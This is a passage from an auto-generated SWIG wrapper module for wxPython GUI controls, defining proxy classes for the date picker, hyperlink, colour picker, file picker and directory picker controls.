bool\"\"\"\n return _controls_.DragImage_EndDrag(*args, **kwargs)\n\n def Move(*args, **kwargs):\n \"\"\"Move(self, Point pt) -> bool\"\"\"\n return _controls_.DragImage_Move(*args, **kwargs)\n\n def Show(*args, **kwargs):\n \"\"\"Show(self) -> bool\"\"\"\n return _controls_.DragImage_Show(*args, **kwargs)\n\n def Hide(*args, **kwargs):\n \"\"\"Hide(self) -> bool\"\"\"\n return _controls_.DragImage_Hide(*args, **kwargs)\n\n def GetImageRect(*args, **kwargs):\n \"\"\"GetImageRect(self, Point pos) -> Rect\"\"\"\n return _controls_.DragImage_GetImageRect(*args, **kwargs)\n\n def DoDrawImage(*args, **kwargs):\n \"\"\"DoDrawImage(self, DC dc, Point pos) -> bool\"\"\"\n return _controls_.DragImage_DoDrawImage(*args, **kwargs)\n\n def UpdateBackingFromWindow(*args, **kwargs):\n \"\"\"UpdateBackingFromWindow(self, DC windowDC, MemoryDC destDC, Rect sourceRect, Rect destRect) -> bool\"\"\"\n return _controls_.DragImage_UpdateBackingFromWindow(*args, **kwargs)\n\n def RedrawImage(*args, **kwargs):\n \"\"\"RedrawImage(self, Point oldPos, Point newPos, bool eraseOld, bool drawNew) -> bool\"\"\"\n return _controls_.DragImage_RedrawImage(*args, **kwargs)\n\n ImageRect = property(GetImageRect,doc=\"See `GetImageRect`\") \n_controls_.DragImage_swigregister(DragImage)\n\ndef DragIcon(*args, **kwargs):\n \"\"\"DragIcon(Icon image, Cursor cursor=wxNullCursor) -> DragImage\"\"\"\n val = _controls_.new_DragIcon(*args, **kwargs)\n return val\n\ndef DragString(*args, **kwargs):\n \"\"\"DragString(String str, Cursor cursor=wxNullCursor) -> DragImage\"\"\"\n val = _controls_.new_DragString(*args, **kwargs)\n return val\n\ndef DragTreeItem(*args, **kwargs):\n \"\"\"DragTreeItem(TreeCtrl treeCtrl, TreeItemId id) -> DragImage\"\"\"\n val = _controls_.new_DragTreeItem(*args, **kwargs)\n return val\n\ndef DragListItem(*args, **kwargs):\n \"\"\"DragListItem(ListCtrl listCtrl, long id) -> DragImage\"\"\"\n val = _controls_.new_DragListItem(*args, **kwargs)\n return val\n\n#---------------------------------------------------------------------------\n\nDP_DEFAULT = _controls_.DP_DEFAULT\nDP_SPIN = _controls_.DP_SPIN\nDP_DROPDOWN = _controls_.DP_DROPDOWN\nDP_SHOWCENTURY = _controls_.DP_SHOWCENTURY\nDP_ALLOWNONE = _controls_.DP_ALLOWNONE\nclass DatePickerCtrlBase(_core.Control):\n \"\"\"Proxy of C++ DatePickerCtrlBase class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def SetValue(*args, **kwargs):\n \"\"\"\n SetValue(self, DateTime dt)\n\n Changes the current value of the control. The date should be valid and\n included in the currently selected range, if any.\n\n Calling this method does not result in a date change event.\n \"\"\"\n return _controls_.DatePickerCtrlBase_SetValue(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"\n GetValue(self) -> DateTime\n\n Returns the currently selected date. If there is no selection or the\n selection is outside of the current range, an invalid `wx.DateTime`\n object is returned.\n \"\"\"\n return _controls_.DatePickerCtrlBase_GetValue(*args, **kwargs)\n\n def SetRange(*args, **kwargs):\n \"\"\"\n SetRange(self, DateTime dt1, DateTime dt2)\n\n Sets the valid range for the date selection. If dt1 is valid, it\n becomes the earliest date (inclusive) accepted by the control. If dt2\n is valid, it becomes the latest possible date.\n\n If the current value of the control is outside of the newly set range\n bounds, the behaviour is undefined.\n \"\"\"\n return _controls_.DatePickerCtrlBase_SetRange(*args, **kwargs)\n\n def GetLowerLimit(*args, **kwargs):\n \"\"\"\n GetLowerLimit(self) -> DateTime\n\n Get the lower limit of the valid range for the date selection, if any.\n If there is no range or there is no lower limit, then the\n `wx.DateTime` value returned will be invalid.\n \"\"\"\n return _controls_.DatePickerCtrlBase_GetLowerLimit(*args, **kwargs)\n\n def GetUpperLimit(*args, **kwargs):\n \"\"\"\n GetUpperLimit(self) -> DateTime\n\n Get the upper limit of the valid range for the date selection, if any.\n If there is no range or there is no upper limit, then the\n `wx.DateTime` value returned will be invalid.\n \"\"\"\n return _controls_.DatePickerCtrlBase_GetUpperLimit(*args, **kwargs)\n\n LowerLimit = property(GetLowerLimit,doc=\"See `GetLowerLimit`\") \n UpperLimit = property(GetUpperLimit,doc=\"See `GetUpperLimit`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_controls_.DatePickerCtrlBase_swigregister(DatePickerCtrlBase)\nDatePickerCtrlNameStr = cvar.DatePickerCtrlNameStr\n\nclass DatePickerCtrl(DatePickerCtrlBase):\n \"\"\"\n This control allows the user to select a date. Unlike\n `wx.calendar.CalendarCtrl`, which is a relatively big control,\n `wx.DatePickerCtrl` is implemented as a small window showing the\n currently selected date. The control can be edited using the keyboard,\n and can also display a popup window for more user-friendly date\n selection, depending on the styles used and the platform.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, DateTime dt=wxDefaultDateTime, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=wxDP_DEFAULT|wxDP_SHOWCENTURY, \n Validator validator=DefaultValidator, \n String name=DatePickerCtrlNameStr) -> DatePickerCtrl\n\n Create a new DatePickerCtrl.\n \"\"\"\n _controls_.DatePickerCtrl_swiginit(self,_controls_.new_DatePickerCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, DateTime dt=wxDefaultDateTime, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=wxDP_DEFAULT|wxDP_SHOWCENTURY, \n Validator validator=DefaultValidator, \n String name=DatePickerCtrlNameStr) -> bool\n\n Create the GUI parts of the DatePickerCtrl, for use in 2-phase\n creation.\n \"\"\"\n return _controls_.DatePickerCtrl_Create(*args, **kwargs)\n\n_controls_.DatePickerCtrl_swigregister(DatePickerCtrl)\n\ndef PreDatePickerCtrl(*args, **kwargs):\n \"\"\"\n PreDatePickerCtrl() -> DatePickerCtrl\n\n Precreate a DatePickerCtrl for use in 2-phase creation.\n \"\"\"\n val = _controls_.new_PreDatePickerCtrl(*args, **kwargs)\n return val\n\nclass GenericDatePickerCtrl(DatePickerCtrl):\n \"\"\"Proxy of C++ GenericDatePickerCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, DateTime dt=wxDefaultDateTime, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=wxDP_DEFAULT|wxDP_SHOWCENTURY, \n Validator validator=DefaultValidator, \n String name=DatePickerCtrlNameStr) -> GenericDatePickerCtrl\n\n Create a new GenericDatePickerCtrl.\n \"\"\"\n _controls_.GenericDatePickerCtrl_swiginit(self,_controls_.new_GenericDatePickerCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, DateTime dt=wxDefaultDateTime, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=wxDP_DEFAULT|wxDP_SHOWCENTURY, \n Validator validator=DefaultValidator, \n String name=DatePickerCtrlNameStr) -> bool\n\n Create the GUI parts of the GenericDatePickerCtrl, for use in 2-phase\n creation.\n \"\"\"\n return _controls_.GenericDatePickerCtrl_Create(*args, **kwargs)\n\n_controls_.GenericDatePickerCtrl_swigregister(GenericDatePickerCtrl)\n\ndef PreGenericDatePickerCtrl(*args, **kwargs):\n \"\"\"\n PreGenericDatePickerCtrl() -> GenericDatePickerCtrl\n\n Precreate a GenericDatePickerCtrl for use in 2-phase creation.\n \"\"\"\n val = _controls_.new_PreGenericDatePickerCtrl(*args, **kwargs)\n return val\n\nHL_CONTEXTMENU = _controls_.HL_CONTEXTMENU\nHL_ALIGN_LEFT = _controls_.HL_ALIGN_LEFT\nHL_ALIGN_RIGHT = _controls_.HL_ALIGN_RIGHT\nHL_ALIGN_CENTRE = _controls_.HL_ALIGN_CENTRE\nHL_DEFAULT_STYLE = _controls_.HL_DEFAULT_STYLE\n#---------------------------------------------------------------------------\n\nclass HyperlinkCtrl(_core.Control):\n \"\"\"\n A static text control that emulates a hyperlink. The link is displayed\n in an appropriate text style, derived from the control's normal font.\n When the mouse rolls over the link, the cursor changes to a hand and\n the link's color changes to the active color.\n\n Clicking on the link does not launch a web browser; instead, a\n wx.HyperlinkEvent is fired. Use the wx.EVT_HYPERLINK to catch link\n events.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id, String label, String url, Point pos=DefaultPosition, \n Size size=DefaultSize, \n long style=HL_DEFAULT_STYLE, String name=HyperlinkCtrlNameStr) -> HyperlinkCtrl\n\n A static text control that emulates a hyperlink. The link is displayed\n in an appropriate text style, derived from the control's normal font.\n When the mouse rolls over the link, the cursor changes to a hand and\n the link's color changes to the active color.\n\n Clicking on the link does not launch a web browser; instead, a\n wx.HyperlinkEvent is fired. Use the wx.EVT_HYPERLINK to catch link\n events.\n\n \"\"\"\n _controls_.HyperlinkCtrl_swiginit(self,_controls_.new_HyperlinkCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id, String label, String url, Point pos=DefaultPosition, \n Size size=DefaultSize, \n long style=HL_DEFAULT_STYLE, String name=HyperlinkCtrlNameStr) -> bool\n \"\"\"\n return _controls_.HyperlinkCtrl_Create(*args, **kwargs)\n\n def GetHoverColour(*args, **kwargs):\n \"\"\"GetHoverColour(self) -> Colour\"\"\"\n return _controls_.HyperlinkCtrl_GetHoverColour(*args, **kwargs)\n\n def SetHoverColour(*args, **kwargs):\n \"\"\"SetHoverColour(self, Colour colour)\"\"\"\n return _controls_.HyperlinkCtrl_SetHoverColour(*args, **kwargs)\n\n def GetNormalColour(*args, **kwargs):\n \"\"\"GetNormalColour(self) -> Colour\"\"\"\n return _controls_.HyperlinkCtrl_GetNormalColour(*args, **kwargs)\n\n def SetNormalColour(*args, **kwargs):\n \"\"\"SetNormalColour(self, Colour colour)\"\"\"\n return _controls_.HyperlinkCtrl_SetNormalColour(*args, **kwargs)\n\n def GetVisitedColour(*args, **kwargs):\n \"\"\"GetVisitedColour(self) -> Colour\"\"\"\n return _controls_.HyperlinkCtrl_GetVisitedColour(*args, **kwargs)\n\n def SetVisitedColour(*args, **kwargs):\n \"\"\"SetVisitedColour(self, Colour colour)\"\"\"\n return _controls_.HyperlinkCtrl_SetVisitedColour(*args, **kwargs)\n\n def GetURL(*args, **kwargs):\n \"\"\"GetURL(self) -> String\"\"\"\n return _controls_.HyperlinkCtrl_GetURL(*args, **kwargs)\n\n def SetURL(*args, **kwargs):\n \"\"\"SetURL(self, String url)\"\"\"\n return _controls_.HyperlinkCtrl_SetURL(*args, **kwargs)\n\n def SetVisited(*args, **kwargs):\n \"\"\"SetVisited(self, bool visited=True)\"\"\"\n return _controls_.HyperlinkCtrl_SetVisited(*args, **kwargs)\n\n def GetVisited(*args, **kwargs):\n \"\"\"GetVisited(self) -> bool\"\"\"\n return _controls_.HyperlinkCtrl_GetVisited(*args, **kwargs)\n\n HoverColour = property(GetHoverColour,SetHoverColour,doc=\"See `GetHoverColour` and `SetHoverColour`\") \n NormalColour = property(GetNormalColour,SetNormalColour,doc=\"See `GetNormalColour` and `SetNormalColour`\") \n URL = property(GetURL,SetURL,doc=\"See `GetURL` and `SetURL`\") \n Visited = property(GetVisited,SetVisited,doc=\"See `GetVisited` and `SetVisited`\") \n VisitedColour = property(GetVisitedColour,SetVisitedColour,doc=\"See `GetVisitedColour` and `SetVisitedColour`\") \n_controls_.HyperlinkCtrl_swigregister(HyperlinkCtrl)\nHyperlinkCtrlNameStr = cvar.HyperlinkCtrlNameStr\n\ndef PreHyperlinkCtrl(*args, **kwargs):\n \"\"\"\n PreHyperlinkCtrl() -> HyperlinkCtrl\n\n A static text control that emulates a hyperlink. The link is displayed\n in an appropriate text style, derived from the control's normal font.\n When the mouse rolls over the link, the cursor changes to a hand and\n the link's color changes to the active color.\n\n Clicking on the link does not launch a web browser; instead, a\n wx.HyperlinkEvent is fired. Use the wx.EVT_HYPERLINK to catch link\n events.\n\n \"\"\"\n val = _controls_.new_PreHyperlinkCtrl(*args, **kwargs)\n return val\n\nwxEVT_COMMAND_HYPERLINK = _controls_.wxEVT_COMMAND_HYPERLINK\nclass HyperlinkEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ HyperlinkEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Object generator, int id, String url) -> HyperlinkEvent\"\"\"\n _controls_.HyperlinkEvent_swiginit(self,_controls_.new_HyperlinkEvent(*args, **kwargs))\n def GetURL(*args, **kwargs):\n \"\"\"GetURL(self) -> String\"\"\"\n return _controls_.HyperlinkEvent_GetURL(*args, **kwargs)\n\n def SetURL(*args, **kwargs):\n \"\"\"SetURL(self, String url)\"\"\"\n return _controls_.HyperlinkEvent_SetURL(*args, **kwargs)\n\n URL = property(GetURL,SetURL,doc=\"See `GetURL` and `SetURL`\") \n_controls_.HyperlinkEvent_swigregister(HyperlinkEvent)\n\nEVT_HYPERLINK = wx.PyEventBinder( wxEVT_COMMAND_HYPERLINK, 1 )\n\n#---------------------------------------------------------------------------\n\nPB_USE_TEXTCTRL = _controls_.PB_USE_TEXTCTRL\nclass PickerBase(_core.Control):\n \"\"\"\n Base abstract class for all pickers which support an auxiliary text\n control. This class handles all positioning and sizing of the text\n control like a horizontal `wx.BoxSizer` would do, with the text\n control on the left of the picker button and the proportion of the\n picker fixed to value 1.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def CreateBase(*args, **kwargs):\n \"\"\"\n CreateBase(self, Window parent, int id, String text=wxEmptyString, Point pos=DefaultPosition, \n Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=wxButtonNameStr) -> bool\n \"\"\"\n return _controls_.PickerBase_CreateBase(*args, **kwargs)\n\n def SetInternalMargin(*args, **kwargs):\n \"\"\"\n SetInternalMargin(self, int newmargin)\n\n Sets the margin (in pixels) between the picker and the text control.\n \"\"\"\n return _controls_.PickerBase_SetInternalMargin(*args, **kwargs)\n\n def GetInternalMargin(*args, **kwargs):\n \"\"\"\n GetInternalMargin(self) -> int\n\n Returns the margin (in pixels) between the picker and the text\n control.\n \"\"\"\n return _controls_.PickerBase_GetInternalMargin(*args, **kwargs)\n\n def SetTextCtrlProportion(*args, **kwargs):\n \"\"\"\n SetTextCtrlProportion(self, int prop)\n\n Sets the proportion between the text control and the picker button.\n This is used to set relative sizes of the text contorl and the picker.\n The value passed to this function must be >= 1.\n \"\"\"\n return _controls_.PickerBase_SetTextCtrlProportion(*args, **kwargs)\n\n def GetTextCtrlProportion(*args, **kwargs):\n \"\"\"\n GetTextCtrlProportion(self) -> int\n\n Returns the proportion between the text control and the picker.\n \"\"\"\n return _controls_.PickerBase_GetTextCtrlProportion(*args, **kwargs)\n\n def SetPickerCtrlProportion(*args, **kwargs):\n \"\"\"\n SetPickerCtrlProportion(self, int prop)\n\n Sets the proportion value of the picker.\n \"\"\"\n return _controls_.PickerBase_SetPickerCtrlProportion(*args, **kwargs)\n\n def GetPickerCtrlProportion(*args, **kwargs):\n \"\"\"\n GetPickerCtrlProportion(self) -> int\n\n Gets the proportion value of the picker.\n \"\"\"\n return _controls_.PickerBase_GetPickerCtrlProportion(*args, **kwargs)\n\n def IsTextCtrlGrowable(*args, **kwargs):\n \"\"\"IsTextCtrlGrowable(self) -> bool\"\"\"\n return _controls_.PickerBase_IsTextCtrlGrowable(*args, **kwargs)\n\n def SetTextCtrlGrowable(*args, **kwargs):\n \"\"\"SetTextCtrlGrowable(self, bool grow=True)\"\"\"\n return _controls_.PickerBase_SetTextCtrlGrowable(*args, **kwargs)\n\n def IsPickerCtrlGrowable(*args, **kwargs):\n \"\"\"IsPickerCtrlGrowable(self) -> bool\"\"\"\n return _controls_.PickerBase_IsPickerCtrlGrowable(*args, **kwargs)\n\n def SetPickerCtrlGrowable(*args, **kwargs):\n \"\"\"SetPickerCtrlGrowable(self, bool grow=True)\"\"\"\n return _controls_.PickerBase_SetPickerCtrlGrowable(*args, **kwargs)\n\n def HasTextCtrl(*args, **kwargs):\n \"\"\"\n HasTextCtrl(self) -> bool\n\n Returns true if this class has a valid text control (i.e. if the\n wx.PB_USE_TEXTCTRL style was given when creating this control).\n \"\"\"\n return _controls_.PickerBase_HasTextCtrl(*args, **kwargs)\n\n def GetTextCtrl(*args, **kwargs):\n \"\"\"\n GetTextCtrl(self) -> TextCtrl\n\n Returns a pointer to the text control handled by this class or None if\n the wx.PB_USE_TEXTCTRL style was not specified when this control was\n created.\n\n Very important: the contents of the text control could be containing\n an invalid representation of the entity which can be chosen through\n the picker (e.g. the user entered an invalid colour syntax because of\n a typo). Thus you should never parse the content of the textctrl to\n get the user's input; rather use the derived-class getter\n (e.g. `wx.ColourPickerCtrl.GetColour`, `wx.FilePickerCtrl.GetPath`,\n etc).\n \"\"\"\n return _controls_.PickerBase_GetTextCtrl(*args, **kwargs)\n\n def GetPickerCtrl(*args, **kwargs):\n \"\"\"GetPickerCtrl(self) -> Control\"\"\"\n return _controls_.PickerBase_GetPickerCtrl(*args, **kwargs)\n\n InternalMargin = property(GetInternalMargin,SetInternalMargin,doc=\"See `GetInternalMargin` and `SetInternalMargin`\") \n PickerCtrl = property(GetPickerCtrl,doc=\"See `GetPickerCtrl`\") \n PickerCtrlProportion = property(GetPickerCtrlProportion,SetPickerCtrlProportion,doc=\"See `GetPickerCtrlProportion` and `SetPickerCtrlProportion`\") \n TextCtrl = property(GetTextCtrl,doc=\"See `GetTextCtrl`\") \n TextCtrlProportion = property(GetTextCtrlProportion,SetTextCtrlProportion,doc=\"See `GetTextCtrlProportion` and `SetTextCtrlProportion`\") \n TextCtrlGrowable = property(IsTextCtrlGrowable,SetTextCtrlGrowable,doc=\"See `IsTextCtrlGrowable` and `SetTextCtrlGrowable`\") \n PickerCtrlGrowable = property(IsPickerCtrlGrowable,SetPickerCtrlGrowable,doc=\"See `IsPickerCtrlGrowable` and `SetPickerCtrlGrowable`\") \n_controls_.PickerBase_swigregister(PickerBase)\n\nclass PyPickerBase(PickerBase):\n \"\"\"Proxy of C++ PyPickerBase class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String text=wxEmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=wxButtonNameStr) -> PyPickerBase\n \"\"\"\n _controls_.PyPickerBase_swiginit(self,_controls_.new_PyPickerBase(*args, **kwargs))\n self._setOORInfo(self);PyPickerBase._setCallbackInfo(self, self, PyPickerBase)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _controls_.PyPickerBase__setCallbackInfo(*args, **kwargs)\n\n def UpdatePickerFromTextCtrl(*args, **kwargs):\n \"\"\"UpdatePickerFromTextCtrl(self)\"\"\"\n return _controls_.PyPickerBase_UpdatePickerFromTextCtrl(*args, **kwargs)\n\n def UpdateTextCtrlFromPicker(*args, **kwargs):\n \"\"\"UpdateTextCtrlFromPicker(self)\"\"\"\n return _controls_.PyPickerBase_UpdateTextCtrlFromPicker(*args, **kwargs)\n\n def GetTextCtrlStyle(*args, **kwargs):\n \"\"\"GetTextCtrlStyle(self, long style) -> long\"\"\"\n return _controls_.PyPickerBase_GetTextCtrlStyle(*args, **kwargs)\n\n def GetPickerStyle(*args, **kwargs):\n \"\"\"GetPickerStyle(self, long style) -> long\"\"\"\n return _controls_.PyPickerBase_GetPickerStyle(*args, **kwargs)\n\n def SetTextCtrl(*args, **kwargs):\n \"\"\"SetTextCtrl(self, TextCtrl text)\"\"\"\n return _controls_.PyPickerBase_SetTextCtrl(*args, **kwargs)\n\n def SetPickerCtrl(*args, **kwargs):\n \"\"\"SetPickerCtrl(self, Control picker)\"\"\"\n return _controls_.PyPickerBase_SetPickerCtrl(*args, **kwargs)\n\n def PostCreation(*args, **kwargs):\n \"\"\"PostCreation(self)\"\"\"\n return _controls_.PyPickerBase_PostCreation(*args, **kwargs)\n\n_controls_.PyPickerBase_swigregister(PyPickerBase)\n\ndef PrePyPickerBase(*args, **kwargs):\n \"\"\"PrePyPickerBase() -> PyPickerBase\"\"\"\n val = _controls_.new_PrePyPickerBase(*args, **kwargs)\n return val\n\n#---------------------------------------------------------------------------\n\nCLRP_SHOW_LABEL = _controls_.CLRP_SHOW_LABEL\nCLRP_USE_TEXTCTRL = _controls_.CLRP_USE_TEXTCTRL\nCLRP_DEFAULT_STYLE = _controls_.CLRP_DEFAULT_STYLE\nclass ColourPickerCtrl(PickerBase):\n \"\"\"\n This control allows the user to select a colour. The implementation\n varies by platform but is usually a button which brings up a\n `wx.ColourDialog` when clicked.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Colour col=*wxBLACK, Point pos=DefaultPosition, \n Size size=DefaultSize, \n long style=CLRP_DEFAULT_STYLE, Validator validator=DefaultValidator, \n String name=ColourPickerCtrlNameStr) -> ColourPickerCtrl\n\n This control allows the user to select a colour. The implementation\n varies by platform but is usually a button which brings up a\n `wx.ColourDialog` when clicked.\n \"\"\"\n _controls_.ColourPickerCtrl_swiginit(self,_controls_.new_ColourPickerCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id, Colour col=*wxBLACK, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=CLRP_DEFAULT_STYLE, \n Validator validator=DefaultValidator, \n String name=ColourPickerCtrlNameStr) -> bool\n \"\"\"\n return _controls_.ColourPickerCtrl_Create(*args, **kwargs)\n\n def GetColour(*args, **kwargs):\n \"\"\"\n GetColour(self) -> Colour\n\n Returns the currently selected colour.\n \"\"\"\n return _controls_.ColourPickerCtrl_GetColour(*args, **kwargs)\n\n def SetColour(*args, **kwargs):\n \"\"\"\n SetColour(self, Colour col)\n\n Set the displayed colour.\n \"\"\"\n return _controls_.ColourPickerCtrl_SetColour(*args, **kwargs)\n\n Colour = property(GetColour,SetColour,doc=\"See `GetColour` and `SetColour`\") \n_controls_.ColourPickerCtrl_swigregister(ColourPickerCtrl)\nColourPickerCtrlNameStr = cvar.ColourPickerCtrlNameStr\n\ndef PreColourPickerCtrl(*args, **kwargs):\n \"\"\"\n PreColourPickerCtrl() -> ColourPickerCtrl\n\n This control allows the user to select a colour. The implementation\n varies by platform but is usually a button which brings up a\n `wx.ColourDialog` when clicked.\n \"\"\"\n val = _controls_.new_PreColourPickerCtrl(*args, **kwargs)\n return val\n\nwxEVT_COMMAND_COLOURPICKER_CHANGED = _controls_.wxEVT_COMMAND_COLOURPICKER_CHANGED\nEVT_COLOURPICKER_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_COLOURPICKER_CHANGED, 1 )\n\nclass ColourPickerEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ ColourPickerEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Object generator, int id, Colour col) -> ColourPickerEvent\"\"\"\n _controls_.ColourPickerEvent_swiginit(self,_controls_.new_ColourPickerEvent(*args, **kwargs))\n def GetColour(*args, **kwargs):\n \"\"\"GetColour(self) -> Colour\"\"\"\n return _controls_.ColourPickerEvent_GetColour(*args, **kwargs)\n\n def SetColour(*args, **kwargs):\n \"\"\"SetColour(self, Colour c)\"\"\"\n return _controls_.ColourPickerEvent_SetColour(*args, **kwargs)\n\n Colour = property(GetColour,SetColour,doc=\"See `GetColour` and `SetColour`\") \n_controls_.ColourPickerEvent_swigregister(ColourPickerEvent)\n\n#---------------------------------------------------------------------------\n\nFLP_OPEN = _controls_.FLP_OPEN\nFLP_SAVE = _controls_.FLP_SAVE\nFLP_OVERWRITE_PROMPT = _controls_.FLP_OVERWRITE_PROMPT\nFLP_FILE_MUST_EXIST = _controls_.FLP_FILE_MUST_EXIST\nFLP_CHANGE_DIR = _controls_.FLP_CHANGE_DIR\nDIRP_DIR_MUST_EXIST = _controls_.DIRP_DIR_MUST_EXIST\nDIRP_CHANGE_DIR = _controls_.DIRP_CHANGE_DIR\nFLP_USE_TEXTCTRL = _controls_.FLP_USE_TEXTCTRL\nFLP_DEFAULT_STYLE = _controls_.FLP_DEFAULT_STYLE\nDIRP_USE_TEXTCTRL = _controls_.DIRP_USE_TEXTCTRL\nDIRP_DEFAULT_STYLE = _controls_.DIRP_DEFAULT_STYLE\nclass FilePickerCtrl(PickerBase):\n \"\"\"Proxy of C++ FilePickerCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String path=EmptyString, \n String message=FileSelectorPromptStr, String wildcard=FileSelectorDefaultWildcardStr, \n Point pos=DefaultPosition, \n Size size=DefaultSize, \n long style=FLP_DEFAULT_STYLE, Validator validator=DefaultValidator, \n String name=FilePickerCtrlNameStr) -> FilePickerCtrl\n \"\"\"\n _controls_.FilePickerCtrl_swiginit(self,_controls_.new_FilePickerCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String path=EmptyString, \n String message=FileSelectorPromptStr, String wildcard=FileSelectorDefaultWildcardStr, \n Point pos=DefaultPosition, \n Size size=DefaultSize, \n long style=FLP_DEFAULT_STYLE, Validator validator=DefaultValidator, \n String name=FilePickerCtrlNameStr) -> bool\n \"\"\"\n return _controls_.FilePickerCtrl_Create(*args, **kwargs)\n\n def GetPath(*args, **kwargs):\n \"\"\"GetPath(self) -> String\"\"\"\n return _controls_.FilePickerCtrl_GetPath(*args, **kwargs)\n\n def SetPath(*args, **kwargs):\n \"\"\"SetPath(self, String str)\"\"\"\n return _controls_.FilePickerCtrl_SetPath(*args, **kwargs)\n\n def CheckPath(*args, **kwargs):\n \"\"\"CheckPath(self, String path) -> bool\"\"\"\n return _controls_.FilePickerCtrl_CheckPath(*args, **kwargs)\n\n def GetTextCtrlValue(*args, **kwargs):\n \"\"\"GetTextCtrlValue(self) -> String\"\"\"\n return _controls_.FilePickerCtrl_GetTextCtrlValue(*args, **kwargs)\n\n Path = property(GetPath,SetPath,doc=\"See `GetPath` and `SetPath`\") \n TextCtrlValue = property(GetTextCtrlValue,doc=\"See `GetTextCtrlValue`\") \n_controls_.FilePickerCtrl_swigregister(FilePickerCtrl)\nFilePickerCtrlNameStr = cvar.FilePickerCtrlNameStr\nFileSelectorPromptStr = cvar.FileSelectorPromptStr\nDirPickerCtrlNameStr = cvar.DirPickerCtrlNameStr\nDirSelectorPromptStr = cvar.DirSelectorPromptStr\nFileSelectorDefaultWildcardStr = cvar.FileSelectorDefaultWildcardStr\n\ndef PreFilePickerCtrl(*args, **kwargs):\n \"\"\"PreFilePickerCtrl() -> FilePickerCtrl\"\"\"\n val = _controls_.new_PreFilePickerCtrl(*args, **kwargs)\n return val\n\nclass DirPickerCtrl(PickerBase):\n \"\"\"Proxy of C++ DirPickerCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String path=EmptyString, \n String message=DirSelectorPromptStr, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=DIRP_DEFAULT_STYLE, \n Validator validator=DefaultValidator, \n String name=DirPickerCtrlNameStr) -> DirPickerCtrl\n \"\"\"\n _controls_.DirPickerCtrl_swiginit(self,_controls_.new_DirPickerCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String path=EmptyString, \n String message=DirSelectorPromptStr, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=DIRP_DEFAULT_STYLE, \n Validator validator=DefaultValidator, \n String name=DirPickerCtrlNameStr) -> bool\n \"\"\"\n return _controls_.DirPickerCtrl_Create(*args, **kwargs)\n\n def GetPath(*args, **kwargs):\n \"\"\"GetPath(self) -> String\"\"\"\n return _controls_.DirPickerCtrl_GetPath(*args, **kwargs)\n\n def SetPath(*args, **kwargs):\n \"\"\"SetPath(self, String str)\"\"\"\n return _controls_.DirPickerCtrl_SetPath(*args, **kwargs)\n\n def CheckPath(*args, **kwargs):\n \"\"\"CheckPath(self, String path) -> bool\"\"\"\n return _controls_.DirPickerCtrl_CheckPath(*args, 